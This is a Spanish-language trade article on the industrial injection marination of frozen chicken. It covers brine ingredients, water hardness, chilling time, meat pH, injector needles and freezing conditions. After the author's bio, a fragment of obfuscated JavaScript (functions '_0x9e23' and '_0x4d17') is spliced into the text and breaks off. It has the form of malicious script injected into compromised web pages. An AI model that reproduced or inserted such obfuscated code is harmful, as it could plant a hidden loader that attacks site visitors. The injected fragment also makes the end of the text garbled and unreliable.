Buena parte de esta carne se comercializa congelada en la región, por lo que un adecuado aprovechamiento del marinado es vital para una operación rentable y competitiva.
El marinado o tenderizado industrial es un proceso que se ha estandarizado en la agroindustria cárnica, incluyendo la avicultura, gracias a dos ventajas ganadoras: otorga características organolépticas o sensoriales al producto deseadas por el consumidor final, al mismo tiempo que impacta la rentabilidad para el empresario.
Industria Avícola consultó a expertos en el tema como el chileno Alberto Valenzuela, de la firma Universal Química Andina, y el argentino Mariano Schapiro, de Global Food, ambas proveedoras de salmueras industriales para la agroindustria cárnica en Suramérica, Centroamérica y el Caribe.
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Someter cualquier carne a una solución de agua, sal y otros ingredientes es una técnica ancestral utilizada para mejorar el sabor, textura y vida útil del alimento. Dicha solución recibe el nombre de salmuera y aplicarla a la carne se llama marinar o tenderizar (viene del inglés ‘tender’, que significa también blando y tierno).
Ahora bien, en el ámbito industrial, las salmueras vienen en una amplia variedad de opciones, dependiendo de las necesidades del productor y de las características de valor que quiera darle a su producto. También cuenta el método utilizado para su aplicación como inmersión, masajeo o inyección, siendo este último el más común y rentable en la avicultura.
El marinado por inyección, que se hace una vez sale el pollo del chiller (algunas veces se troza antes del marinado), es el más usado porque permite una aplicación consistente, más rápida y con mayor éxito en la absorción de la salmuera. La tecnología vigente, de máquinas inyectoras con docenas de agujas en acción simultánea, facilita dosificar uniformemente la salmuera en el pollo y la adecuada recirculación de la misma solución.
En este proceso suelen participar cilindros de masajeo que golpean suavemente al pollo luego del inyectado para cerrar inmediatamente el poro de aplicación, esto antes de someter la carcasa o presas a su empaquetado y congelamiento. El pollo fresco o refrigerado se somete al mismo tratamiento, pero con menor porcentaje de inyección.
Si el pollo va para asaderos, la cantidad y condición de la salmuera será distinta a la de aquel destinado al comercio al detal. (Cortesía de Universal Food)
Optimización del marinado
Toda salmuera consta de ingredientes de origen natural como hidrocoloides, sal común, fosfatos y sales orgánicas. Los primeros son sustancias extraídas por lo general de algas marinas rojas y en la región se producen en Chile, Brasil, Argentina y Perú. Actúan como espesantes y ayudan a retener la salmuera en el músculo (por gelificación).
La sal común y las sales orgánicas (como el citrato de sodio), además de dar sabor, sirven para la conservación del alimento y la absorción del agua por parte de las fibras de la carne; en tanto que los fosfatos son secuestrantes de metales del agua (durezas) y tienen un efecto antioxidante por lo mismo. Su función principal es regular el pH de la salmuera y de la carne donde se inyecta, mejorando su vida útil.
Esta formulación se diluye, por lo general, del 3% al 4% en agua, a una temperatura constante que no debe superar los 4º C, por lo cual las condiciones previas del agua utilizada son de gran importancia. Aparte de la obvia no existencia ni proliferación de bacterias en su interior, el agua limpia a utilizar debe tener una dureza escasa (menos de 50 ppm), con pocos metales en suspensión, ya que estos reducirían la eficiencia de los fosfatos de la salmuera.
Otros factores a tener en cuenta tienen que ver con las condiciones óptimas del pollo antes de llegar a la máquina inyectora. No debe haberse excedido su tiempo en la fase de chiller (de 30 a 45 minutos) para que no supere el 10% de ganancia de peso por la absorción de agua que realiza naturalmente esta carne al ser sometida a inmersión.
De igual manera, la temperatura del agua en esa fase del proceso no puede ser mayor a los 0º C y el pollo no debe superar jamás los 4º C antes de ser empacado y congelado, lo que exige rapidez en el marinado por inyección y que la salmuera aplicada tampoco tenga una temperatura mayor.
Además de lo anterior, el pH de la carne de pollo debe ser monitoreado antes de someterla a tenderización, pues si supera el llamado punto isoeléctrico (menos de 5.6 en la escala de pH) el músculo ya habría entrado en un proceso de acidificación irreversible que impide la adecuada recepción de la salmuera. Sería una pérdida completa de la solución por no lograr la eficiencia completa de los ingredientes.
La salmuera mejora el sabor de la carne de pollo, dando además una apariencia y textura más atractiva, características que se pierden sin una adecuada cadena de frío. (pausestudio | Shutterstock.com)
Consideraciones adicionales
El pesaje de los ingredientes para el marinado (salmuera, agua, hielo) es muy importante, al igual que el proceso de disolución y de revisión permanente de la temperatura de la mezcla. La viscosidad debe ser uniforme, sin ninguna clase de grumos o sedimentaciones, porque aparte de ser más eficiente, disminuye en gran medida la obstrucción de alguna de las agujas de la máquina inyectora.
En este punto, debe tenerse siempre listo para un cambio y limpieza rápida, otro juego de agujas en perfectas condiciones. Cualquier parón no programado afecta hacia atrás todo el proceso y se traduce en pérdidas y mermas. Asimismo, se recomienda disponer sobre la banda transportadora de manera ordenada y uniforme el pollo o las piezas a marinar; si son canales completas, que estén todas con la pechuga hacia arriba; si son cuartos traseros, que no haya amontonamientos porque las piezas de abajo no serían inyectadas en los porcentajes óptimos.
Sobre el porcentaje de salmuera a inyectar, las normas sanitarias en la región hacen recomendaciones (10% al 12%) pero no establece límites taxativos, por lo que suele tenderizarse con ganancias de peso superiores, dependiendo del destino final de la carne. Por ejemplo, si el pollo va para asaderos, la cantidad y condición de la salmuera será distinta que para aquel destinado a ser comercializado al detal.
Por último, debe mencionarse el impacto del manejo acertado del frío para el éxito de un buen marinado. El proceso de congelamiento inicia a temperaturas inferiores a los -2.8º C, preferiblemente con una rápida congelación que haga que todo el pollo alcance en menos de 45 minutos las condiciones de almacenamiento de -17.8º C o inferior, con una humedad relativa de 95%.
Una congelación más lenta provoca la aparición de grandes cristales que se acumulan fuera de la fibra y terminan dando un mal aspecto final al alimento.
En las plantas avícolas, la salmuera sin diluir debe almacenarse en lugares frescos, con buena ventilación, sobre estibas que eviten el contacto con el piso y aguas derramadas.
Alexander Barajas Maldonado es un periodista y escritor colombiano especializado en temas económicos, con énfasis en la producción avícola y nuevas tendencias de consumo. Puede escribirle por correo electrónico: [email protected]. function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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1 de octubre de 2020
